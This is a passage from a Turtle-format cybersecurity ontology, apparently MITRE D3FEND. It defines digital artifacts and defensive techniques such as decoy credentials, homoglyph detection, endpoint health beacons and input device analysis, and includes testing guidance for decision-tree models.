    d3f:definition "A file containing Information used to configure the parameters and initial settings for a compiler." ;
    rdfs:subClassOf d3f:ApplicationConfigurationFile .

d3f:ComputerPlatform a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Computer Platform" ;
    d3f:contains d3f:Firmware,
        d3f:HardwareDevice,
        d3f:OperatingSystem,
        d3f:SystemPlatformVariable ;
    d3f:definition "Platform includes the hardware and OS. The term computing platform can refer to different abstraction levels, including a certain hardware architecture, an operating system (OS), and runtime libraries. In total it can be said to be the stage on which computer programs can run." ;
    d3f:synonym "Computing Platform" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Computing_platform> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:HardwareDevice ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Firmware ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:SystemPlatformVariable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:OperatingSystem ],
        d3f:DigitalInformationBearer .

d3f:ConfigurationDatabaseRecord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Configuration Database Record" ;
    d3f:definition "A Configuration Database Record defines settings, parameters, or preferences for applications, systems, or devices." ;
    d3f:synonym "Configuration Record" ;
    rdfs:subClassOf d3f:ConfigurationResource,
        d3f:DatabaseRecord .

d3f:ConfigurationInventory a d3f:ConfigurationInventory,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Configuration Inventory" ;
    d3f:d3fend-id "D3-CI" ;
    d3f:definition "Configuration inventory identifies and records the configuration of software and hardware and their components throughout the organization." ;
    d3f:inventories d3f:ConfigurationResource ;
    d3f:kb-article """## How it works

The organization retrieves configuration information through means of SNMP (MIB records), WBEM (CIM records), other protocols, or custom scripts and captures that information in a repository, typically known as a Configuration Management Database (CMDB).\"""" ;
    d3f:kb-reference d3f:Reference-Web-BasedEnterpriseManagement,
        d3f:Reference-Windows-Management-Infrastructure,
        d3f:Reference-Windows-Management-Instrumentation ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:inventories ;
            owl:someValuesFrom d3f:ConfigurationResource ],
        d3f:AssetInventory .

d3f:CreateSocket a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Create Socket" ;
    d3f:creates d3f:Pipe ;
    d3f:definition "A create socket system call creates an endpoint for communication and returns a file descriptor that refers to that endpoint." ;
    rdfs:seeAlso <https://www.man7.org/linux/man-pages/man2/socket.2.html> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:Pipe ],
        d3f:SystemCall .

d3f:CreateThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Create Thread" ;
    d3f:creates d3f:Thread ;
    d3f:definition "Threads are an execution model that exists independently from a language, as well as a parallel execution model. They enable a program to control multiple different flows of work that overlap in time." ;
    rdfs:seeAlso <http://dbpedia.org/resource/POSIX_Threads>,
        <https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:Thread ],
        d3f:SystemCall .

d3f:CryptographicKey a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cryptographic Key" ;
    d3f:definition "In cryptography, a key is a piece of information (a parameter) that determines the functional output of a cryptographic algorithm. For encryption algorithms, a key specifies the transformation of plaintext into ciphertext, and vice versa for decryption algorithms. Keys also specify transformations in other cryptographic algorithms, such as digital signature schemes and message authentication codes." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Public-key_cryptography> ;
    rdfs:subClassOf d3f:DigitalInformation .

d3f:CyberSensor a owl:Class ;
    rdfs:label "Cyber Sensor" ;
    d3f:definition "A cyber sensor collects and monitors data related to cyber activities, events, or environments." ;
    rdfs:subClassOf d3f:Sensor .

d3f:DHCPService a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DHCP Service" ;
    d3f:definition "A DHCP service assigns IP address and modifies network configurations." ;
    d3f:may-produce d3f:DHCPNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:DHCPNetworkTraffic ],
        d3f:NetworkService .

d3f:DNSNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DNS Network Traffic" ;
    d3f:definition "DNS network traffic is network traffic related to queries and responses involving the Domain Name System. DNS traffic can involve clients, servers such as relays or resolvers. This includes only network traffic conforming to standard DNS protocol; not custom protocols." ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:DataExchangeMapping a d3f:DataExchangeMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Data Exchange Mapping" ;
    d3f:d3fend-id "D3-DEM" ;
    d3f:definition "Data exchange mapping identifies and models the organization's intended design for the flows of the data types, formats, and volumes between systems at the application layer." ;
    d3f:kb-reference d3f:Reference-CatiaUAFPlugin,
        d3f:Reference-TivoliApplicationDependencyDiscoverManager7_3_0DependenciesBetweenResources,
        d3f:Reference-UnifiedArchitectureFrameworkUAF ;
    d3f:maps d3f:DataDependency ;
    d3f:synonym "Data Flow Mapping",
        "Information Exchange Mapping" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:DataDependency ],
        d3f:SystemMapping .

d3f:DatabaseApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Database Application" ;
    d3f:definition "A database application is a computer program whose primary purpose is retrieving information from a computerized database." ;
    d3f:synonym "Database Management System (DBMS)" ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Database_application> ;
    rdfs:subClassOf d3f:Application .

d3f:DatabaseFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Database File" ;
    d3f:contains d3f:Database ;
    d3f:definition "A file that stores data and metadata in an organized format, managed by a database management system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Database ],
        d3f:File .

d3f:Deceive a d3f:DefensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Deceive" ;
    d3f:definition "The deceive tactic is used to advertise, entice, and allow potential attackers access to an observed or controlled environment." ;
    d3f:display-order 3 ;
    d3f:display-priority 0 ;
    rdfs:subClassOf d3f:DefensiveTactic .

d3f:DecisionTree a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decision Tree" ;
    d3f:d3fend-id "D3A-DT" ;
    d3f:definition "Decision tree learning is a supervised learning approach used in statistics, data mining, and machine learning. In this formalism, a classification or regression decision tree is used as a predictive model to draw conclusions about a set of observations." ;
    d3f:kb-article """## How it works

A decision tree starts with a root node, which does not have any incoming branches. The outgoing branches from the root node then feed into the internal nodes, also known as decision nodes. Based on the available features, both node types conduct evaluations to form homogenous subsets, which are denoted by leaf nodes, or terminal nodes. The leaf nodes represent all the possible outcomes within the dataset.

## Considerations

While the basic underlying model is that of a decision tree, the decision tree node criteria, and the method for identifying splits varies significantly depending on the learning algorithm selected (e.g., CART, ID3, C4.5, C5.0, CHAID, MARS.)  Extensions like linear and logistic trees can add additional expressiveness as well.

## Key Test Considerations

- **Machine Learning**:

  - **Verify the dataset quality**: Check the data to make sure it is
      free of errors.  Quantify the degree of missing values,
      outliers, and noise in the data collection.  If the data quality
      is low, it may be difficult or impossible to create models and
      systems with the desired performance.

  - **Verify development datasets are representative**: of expected
      operational environment and data collection means.  Compare
      distributions of dataset features and labels with exploratory
      data analysis and assess the difference in tests on training
      data and tests on evaluation data (where the evaluation data
      must be drawn from a representative dataset.)

   - **Use a variety of data sets**: where available and applicable, to
      reflect different operating and environment conditions that are
      likley to be be encountered.

  - **Use software libraries**: and tools built for ML where possible, so
      that the underlying code is verified by prior use.**

  - **Diagnose model errors with domain SMEs**: Have problem domain
    SMEs investigate model errors for conditions for which the model
    may underperform and suggest refinements.

- **Classification**:

  - **Use Standard Classification Performance Measures**: Not all of
      the following may be necessary, but should be considered for
      both verification (developmental test) and operational test
      stages use:

    - **Accuracy**: The fraction of predictions that were corret.

    - **Precision**: The proportion of positive identifications that were correct.

    - **Recall**: The proportion of actual positive cases identified correctly.

    - **F-Measure**: Combines the preicion and recall into a single
        score.  It is the harmonic mean of the precision and recall.

    - **Receiver Operating Characteristic (ROC) Curve**: A ROC curve
        shows the performance of a classification model at all
        classification thresholds.  It graphs the True Positive Rate
        over the False Positive Rate.

    - **Area Under the ROC Curve (AUC)**: This measures the
        two-dimensional area under the ROC Curve.  AUC is
        scale-invariant and classification-threshold invariant.

    - **ROC TP vs FP points**: In addition to a specific AUC score,
        the performance at points

    - **Confusion Matrix**: A confusion matrix is a table layout that
        allows the visualization of the performance of an
        algorithm. Each row of the matrix represents the instances in
        an actual class while each column represents the instances in
        a predicted class, or vice versa. It is a special kind of
        contingency table, with two dimensions ("actual" and
        "predicted"), and identical sets of "classes" in both
        dimensions (each combination of dimension and class is a
        variable in the contingency table.)

  - **Prediction Bias**: The difference between the average of the
      predicted labels and the average of the labels in the data
      set.  One should check for prediction bias when evaluating the
      classifier's results. Causes of bias can include:

    - **Noisy data set**: Errors in original data can as the
      collection method may have an underlying bias.

    - **Processing bug**: Errors in the data pipeline can
      introduce bias.

    - **Biased training sample (unbalanced samples)**: Model
      parameters may be skewed towards majority classes.

    - **Overly strong regularization**: Model may be underfitting
       model and too simple.

    - **Proxy variables**: Model features may be highly
       correlated.

- **Supervised Learning**:

  - **Overfitting and Underfitting**: Overfitting occurs when the the
    model built corresponds too closely or exactly to a particular
    set of data, and thus may fail to fit to predict additional data
    reliably. An overfitted model is a mathematical model that
    contains more parameters than can be justified by the data.
    Underfitting occurs when the model built does adequately capture
    the patterns in the data. As an example, a linear model will
    underfit a non-linear dataset.

  - **Sensitivity**: Perform N-fold Cross validation to indicate how
    much sensitivity the algorithm has to data variation and to avoid
    overfitting operational models.

- **Decision Tree Learning**:

  - **Sensitive to unbalanced classes**: Examine and determine target
      class balance; decision tree learning algorithms are especially
      sensitive to unbalanced target classes.

  - **Consider decision boundaries**: Perform exploratory data
      analysis to determine if decision boundaries lie alongaxes of
      features. _Decision trees are ideal when decision boundaries can
      be found that lie along axes of features._

   - **Decision tree overfitting** may require tuning algorithm hyperparameters such as tree depth, max features used, max leaf nodes, etc.

   - **Pruning** may result in a more robust model in real-word applications.

   - **Missing values**: Inspect the data set to determine if there
     are missing values and select a means to address them, either by
     choosing an algorithm that works well or a way to impute the
     value or eliminate the missing values in the data sensors or
     pipeline.

## Platforms, Tools, or Libraries

- **scikit-learn**: includes tree algorithms for ID3, C4.5, C5.0, and CART.

- **Weka**: includes J48 (C4.5), SimpleCart (CART), Logistic Model Trees, Naive Bayes Trees, and more.

### Validation Approach
- Use operationally relevant data across the range of application's operating environment.
- Incorporate some kind of continuous validation to address concept drift and the need to retrain the model and/or check data quality.

## References
1. Decision tree learning. (2023, May 30). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Decision_tree_learning).
2. Decision Trees. (n.d.). In _scikit-learn User Guide 1.2.2_. [Link](https://scikit-learn.org/stable/modules/tree.html).
3. Concept drift. (2023, April 17). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Concept_drift).
4. 8 Concept Drift Detection Methods. (n.d.). In _Aporia Learning Center_. [Link](https://www.aporia.com/learn/data-drift/concept-drift-detection-methods/).""" ;
    rdfs:subClassOf d3f:Classification .

d3f:DecoyArtifact a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decoy Artifact" ;
    d3f:definition "A decoy is an imitation digital artifact in any sense of a digital artifact, object, or phenomenon that is intended to deceive a cyber attacker's surveillance devices or mislead their evaluation.  Examples include fake files, accounts, hosts (honeypots), and network segments (honeynets)." ;
    d3f:may-contain d3f:DigitalArtifact ;
    rdfs:seeAlso <http://dbpedia.org/resource/Deception_technology>,
        <https://doi.org/10.1007/978-3-319-25133-2>,
        <https://shield.mitre.org/> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:DigitalArtifact ],
        d3f:DigitalInformationBearer ;
    skos:altLabel "Decoy",
        "Decoy Object",
        "Lure",
        "Trap" .

d3f:DecoyUserCredential a d3f:DecoyUserCredential,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decoy User Credential" ;
    d3f:d3fend-id "D3-DUC" ;
    d3f:definition "A Credential created for the purpose of deceiving an adversary." ;
    d3f:kb-article """## How it works
A detection analytic is developed to determine when a user uses decoy credentials. Subsequent actions by that user may be monitored or controlled by the defender.

A credential may be:
 * Domain username and password
 * Local system username and password

## Considerations
* Decoy credentials should be integrated with a larger decoy environment to ensure that when decoy credentials are compromised, the credentials are used to interact with a decoy asset that is being monitored.
* Continuous maintenance and updates are needed to ensure the legitimacy of the larger decoy environment and specifically the assets that utilize the decoy credentials.""" ;
    d3f:kb-reference d3f:Reference-DecoyAndDeceptiveDataObjectTechnology_CymmetriaInc,
        d3f:Reference-DecoyNetwork-BasedServiceForDeceivingAttackers-AmazonTechnologies,
        d3f:Reference-SystemAndMethodForIdentifyingThePresenceOfMalwareUsingMini-trapsSetAtNetworkEndpoints_FidelisCybersecuritySolutionsInc ;
    d3f:spoofs d3f:Credential ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:spoofs ;
            owl:someValuesFrom d3f:Credential ],
        d3f:DecoyObject .

d3f:DescriptiveStatistics a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Descriptive Statistics" ;
    d3f:d3fend-id "D3A-DS" ;
    d3f:definition "Descriptive statistics provide simple summaries about the sample and about the observations that have been made." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Descriptive statistics. [Link](https://en.wikipedia.org/wiki/Descriptive_statistics)""" ;
    rdfs:subClassOf d3f:StatisticalMethod .

d3f:DigitalCamera a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Digital Camera" ;
    d3f:definition "An optical instrument that can capture an image. A digital camera that captures photographs in digital memory." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Digital_camera> ;
    rdfs:subClassOf d3f:HardwareDevice .

d3f:DigitalEventRecord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Digital Event Record" ;
    d3f:definition "A digital event record is a structured representation of a digital event, encapsulating all relevant details about the occurrence for storage, analysis, and response. These records serve as the primary artifacts for cybersecurity operations, enabling threat detection, forensic investigations, and compliance reporting. Digital event records include metadata such as timestamps, origin, context, and associated resources, ensuring traceability and actionable intelligence in digital ecosystems." ;
    d3f:records d3f:DigitalEvent ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:records ;
            owl:someValuesFrom d3f:DigitalEvent ],
        d3f:Record .

d3f:DigitalIdentity a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Digital Identity" ;
    d3f:definition "The unique representation of a subject engaged in an online transaction. A digital identity is always unique in the context of a digital service, but does not necessarily need to uniquely identify the subject in all contexts. In other words, accessing a digital service may not mean that the subject's real-life identity is known.  Note: There is no single, widely accepted definition for this term and context is important. This definition is specific to online transactions." ;
    d3f:identified-by d3f:Identifier ;
    rdfs:comment "Variously describes or designates.  Designation is not compete or definite without context.  The representation generally can be identified by a unique identifier, though this may be private information." ;
    rdfs:seeAlso <https://pages.nist.gov/800-63-3/sp800-63-3.html> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identified-by ;
            owl:someValuesFrom d3f:Identifier ],
        d3f:DigitalInformation .

d3f:DirectoryService a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Directory Service" ;
    d3f:definition "In computing, directory service or name service maps the names of network resources to their respective network addresses. It is a shared information infrastructure for locating, managing, administering and organizing everyday items and network resources, which can include volumes, folders, files, printers, users, groups, devices, telephone numbers and other objects. A directory service is a critical component of a network operating system. A directory server or name server is a server which provides such a service. Each resource on the network is considered an object by the directory server. Information about a particular resource is stored as a collection of attributes associated with that resource or object." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Directory_service> ;
    rdfs:subClassOf d3f:NetworkService .

d3f:DiskFormatting a d3f:DiskFormatting,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disk Formatting" ;
    d3f:d3fend-id "D3-DKF" ;
    d3f:definition "Disk Formatting is the process of preparing a data storage device, such as a hard drive, solid-state drive, or USB flash drive, for initial use." ;
    d3f:kb-article """### How it works

This process involves setting up an empty file system on the disk, which includes creating a directory structure and initializing metadata structures. In cybersecurity, disk formatting can be used to remove all existing data on a disk, making it a clean slate for new data storage or to prevent unauthorized access to previously stored data.""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-Remembranceofdatapassed:Astudyofdisksanitizationpractices> ;
    d3f:modifies d3f:SecondaryStorage ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SecondaryStorage ],
        d3f:ObjectEviction .

d3f:EX-0010 a owl:Class ;
    rdfs:label "Malicious Code - SPARTA" ;
    d3f:attack-id "EX-0010" ;
    d3f:definition "Threat actors may rely on other tactics and techniques in order to execute malicious code on the victim spacecraft. This can be done via compromising the supply chain or development environment in some capacity or taking advantage of known commands. However, once malicious code has been uploaded to the victim spacecraft, the threat actor can then trigger the code to run via a specific command or wait for a legitimate user to trigger it accidently. The code itself can do a number of different things to the hosted payload, subsystems, or underlying OS." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0010/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Malicious Code" .

d3f:ElectronicLockMonitoring a d3f:ElectronicLockMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Electronic Lock Monitoring" ;
    d3f:d3fend-id "D3-ELM" ;
    d3f:definition "Monitoring electronic lock and door hardware states and access events (e.g., locked/unlocked, access granted/denied, door forced/held, tamper) to detect and respond to unauthorized entry." ;
    d3f:kb-article """## How it works

Electronic lock monitoring collects status and events from door controllers, readers (badge/PIV, keypad), and door hardware (door position switch, request-to-exit, bolt/latch, tamper). The physical access control system (PACS) logs access decisions, correlates door-held/forced conditions, and generates alarms for response. Secure, supervised reader links, such as Open Supervised Device Protocol (OSDP), help detect wiring faults and reduce credential interception. Integration with video systems can pop relevant camera views on lock-related alarms.

## Considerations

* Use encrypted, supervised reader-to-controller protocols to protect credentials and detect wiring faults.
* Harden door controllers and isolate the PACS network to limit the attack surface.
* Configure fail-safe or fail-secure behavior and emergency release to meet life-safety requirements.
* Tune alarms for door-held, door-forced, and invalid retries to reduce noise while catching misuse.
* Supervise inputs, provide backup power, and regularly test door, bolt, and tamper sensors to ensure reliability.""" ;
    d3f:kb-reference d3f:Reference-FIPS-201-3,
        d3f:Reference-NIST-SP800-116r1,
        d3f:Reference-NIST-Special-Publication-800-53-Revision-5,
        d3f:Reference-SIA-OSDP-2-2 ;
    d3f:monitors d3f:ElectronicCombinationLock ;
    d3f:synonym "Door Lock Monitoring",
        "Lock State Monitoring" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:ElectronicCombinationLock ],
        d3f:PhysicalAccessMonitoring .

d3f:EmailRule a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Email Rule" ;
    d3f:definition "A configuration of an email application which is used to apply logical or data processing functions to data processed by the email  application." ;
    rdfs:subClassOf d3f:ApplicationRule .

d3f:EmulatedFileAnalysis a d3f:EmulatedFileAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Emulated File Analysis" ;
    d3f:analyzes d3f:DocumentFile,
        d3f:ExecutableFile ;
    d3f:d3fend-id "D3-EFA" ;
    d3f:definition "Emulating instructions in a file looking for specific patterns." ;
    d3f:kb-reference d3f:Reference-Network-levelPolymorphicShellcodeDetectionUsingEmulation ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:DocumentFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:FileAnalysis .

d3f:EndpointHealthBeacon a d3f:EndpointHealthBeacon,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Endpoint Health Beacon" ;
    d3f:d3fend-id "D3-EHB" ;
    d3f:definition "Monitoring the security status of an endpoint by sending periodic messages with health status, where absence of a response may indicate that the endpoint has been compromised." ;
    d3f:kb-article """## How it works
Endpoints are configured to periodically generate and transmit a secure heartbeat that is delivered on a configured schedule and provides endpoint status information. Status information can include software details (version, configuration, etc), endpoint identification (MAC, IP address, machine ID) or other hardware/software configuration information. Interruption of the heartbeat can signal that the endpoint has been compromised.

## Considerations
* Security of heartbeat messages to ensure message integrity
* Disappearance of the heartbeat could simply mean that the endpoint is powered off or intentionally disconnected from the network. Therefore other criteria may need to be used to accurately detect endpoint compromise.
* Attacker presence on the machine may leave the heartbeat intact.
* An attacker may determine the format of the heartbeat and continue to send it even after the machine is compromised.""" ;
    d3f:kb-reference d3f:Reference-IntrusionDetectionUsingAHeartbeat_SophosLtd ;
    d3f:monitors d3f:NetworkNode ;
    d3f:synonym "Endpoint Health Telemetry" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:NetworkNode ],
        d3f:OperatingSystemMonitoring .

d3f:EvalFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Eval Function" ;
    d3f:definition "Takes inputs of strings and evaluations them as expressions." ;
    d3f:invokes d3f:Subroutine ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:Subroutine ],
        d3f:Subroutine .

d3f:ExternalThreatModelThing a owl:Class ;
    rdfs:label "External Threat Model Thing" ;
    rdfs:subClassOf d3f:ExternalThing .

d3f:FileContentBlock a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Content Block" ;
    d3f:definition "A section within a file that contains the main content or data payload." ;
    rdfs:subClassOf d3f:FileSection .

d3f:FileContentBlockData a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Content Block Data" ;
    d3f:definition "The actual content or main data within a file or data block." ;
    rdfs:subClassOf d3f:DigitalInformation .

d3f:FileMetadataValueVerification a d3f:FileMetadataValueVerification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Metadata Value Verification" ;
    d3f:analyzes d3f:FileFooterBlock,
        d3f:FileHeaderBlock ;
    d3f:d3fend-id "D3-FMVV" ;
    d3f:definition "The process of checking specific static values within a file, such as file signatures or magic numbers, to ensure they match the expected values defined by the file format specification." ;
    d3f:description """## How it works

File format specifications often define expected values for specific fields. A common example are file signatures, or magic numbers, which are used to quickly identify files. Another example is within the Compound Document Header of Microsoft Office files, the 29th and 30th byte identifies the byte order, specifically 0xFFFE for little-endian. This technique verifies that the file's static values match the values of the declared file format's specification.""" ;
    d3f:kb-reference d3f:Reference-CarvingContiguousandFragmentedFilesWithFastObjectValidation,
        d3f:Reference-IntroductoryComputerForensics ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileHeaderBlock ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:FileFooterBlock ],
        d3f:FileFormatVerification .

d3f:FreeMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Free Memory" ;
    d3f:deletes d3f:MemoryBlock ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:MemoryBlock ],
        d3f:SystemCall .

d3f:Goal a owl:Class ;
    rdfs:label "Goal" ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:High-dimensionClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "High-dimension Clustering" ;
    d3f:d3fend-id "D3A-HDC" ;
    d3f:definition "The cluster analysis of data with anywhere from a few dozen to many thousands of dimensions." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Clustering high-dimensional data. [Link](https://en.wikipedia.org/wiki/Clustering_high-dimensional_data)""" ;
    rdfs:subClassOf d3f:ClusterAnalysis .

d3f:HomoglyphDetection a d3f:HomoglyphDetection,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Homoglyph Detection" ;
    d3f:analyzes d3f:Email,
        d3f:URL ;
    d3f:d3fend-id "D3-HD" ;
    d3f:definition "Comparing strings using a variety of techniques to determine if a deceptive or malicious string is being presented to a user." ;
    d3f:kb-article """## How it works
A homoglyph, in this context, is a deceptive string or word which looks like a trusted word, but is composed of different characters, for example: goooogle.com versus google.com. This is commonly found in phishing and typo squatting attacks where a human exploiting through a social engineering campaign.

## Considerations
* In very large environments processing DNS queries can be computationally expensive due to the amount of traffic that is generated
* Legitimate companies and products use non-dictionary words in their names that could result in many false positives""" ;
    d3f:kb-reference d3f:Reference-Computer-implementedMethodsAndSystemsForIdentifyingVisuallySimilarTextCharacterStrings_GreathornInc,
        d3f:Reference-SystemAndMethodForDetectingHomoglyphAttacksWithASiameseConvolutionalNeuralNetwork_EndgameInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:URL ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Email ],
        d3f:IdentifierAnalysis .

d3f:IPAddress a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "IP Address" ;
    d3f:definition "An Internet Protocol address (IP address) is a numerical label assigned to each device connected to a computer network that uses the Internet Protocol for communication.An IP address serves two main functions: host or network interface identification and location addressing. Internet Protocol version 4 (IPv4) defines an IP address as a 32-bit number. However, because of the growth of the Internet and the depletion of available IPv4 addresses, a new version of IP (IPv6), using 128 bits for the IP address, was standardized in 1998. IPv6 deployment has been ongoing since the mid-2000s." ;
    d3f:identifies d3f:NetworkNode ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/IP_address> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:NetworkNode ],
        d3f:Identifier .

d3f:ImageFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Image File" ;
    d3f:definition "A file that contains graphics data." ;
    rdfs:subClassOf d3f:File .

d3f:In-memoryPasswordStore a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "In-memory Password Store" ;
    d3f:definition "A password store held in memory." ;
    rdfs:subClassOf d3f:PasswordStore .

d3f:InboundInternetMailTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Inbound Internet Mail Traffic" ;
    d3f:definition "Inbound internet mail traffic is network traffic that is: (a) coming from a host outside a given network via an incoming connection to a host inside that same network, and (b) using a standard protocol for email." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:InboundInternetNetworkTraffic,
        d3f:InboundNetworkTraffic,
        d3f:MailNetworkTraffic .

d3f:InboundNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Inbound Network Traffic" ;
    d3f:definition "Inbound traffic is network traffic originating from another host (client), to the host of interest (server)." ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:InputDeviceAnalysis a d3f:InputDeviceAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Input Device Analysis" ;
    d3f:analyzes d3f:InputDevice ;
    d3f:d3fend-id "D3-IDA" ;
    d3f:definition "Operating system level mechanisms to prevent abusive input device exploitation." ;
    d3f:kb-article """## How it works

Input Device Hardening techniques filter certain commands, or disable related operating system functionality.

### Analytics

All of these values can be analyzed and compared to a baseline:

* Amount of input
* Duration of a single input
* Durations between inputs
* Value of input

Context can also include:

* User which is logged in, to include attributes such as physical location of the user
* Date and time
* System which is processing the input
* Source device of input, to include its properties (eg. manufacturer), configuration (eg. keyboard layout) and behavioral attributes of this device (eg. first use)
* Source system of input (local or remote system)
* Other hardware devices attached to the system


### Actions

Actions can include:

* Disabling the source device
* Sending an alert
* Locking the current session (eg. system screen lock, or returning to an authentication screen in a web app) and requiring one or more methods of authentication to continue
* Administratively disabling credentials for the account or the entire account -- the technique *Account Locking*


### Examples
A malicious input device sends many keystrokes with approximately the same delay between each.  This does not match the normal cadence of input, and the device is disabled.

Input to type the session user's name takes abnormally longer for each keystroke.  The system is locked to the password prompt screen.

A system receives key press events from two different devices -- one device sends keystrokes after the other has been idle for a long time.

A system receives physical input in a user session, while that user has sent input from a device located out of the country in the past hour.

Network traffic is suddenly routed through a new external device, and nearly the same volume of network traffic is subsequently sent out the previously existing interface.  The new external device is disabled, and an alert is raised to investigate the network configuration for a potential compromise.


## Considerations

Given some example of legitimate behavioral input patterns, attackers could mimic those input patterns, a technique which has been used in popular culture in the creation of Deepfake videos and [This Person Does Not Exist](https://thispersondoesnotexist.com).""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ContinuousAuthenticationByAnalysisOfKeyboardTypingCharacteristics_BradfordUniv.,UK>,
        d3f:Reference-www.biometric-solutions.com_keystroke-dynamics ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:InputDevice ],
        d3f:OperatingSystemMonitoring .

d3f:IntranetIPCNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Intranet IPC Network Traffic" ;
    d3f:definition "Intranet IPC network traffic is network traffic that does not cross a given network's boundaries and uses a standard inter-process communication (IPC) networking protocol." ;
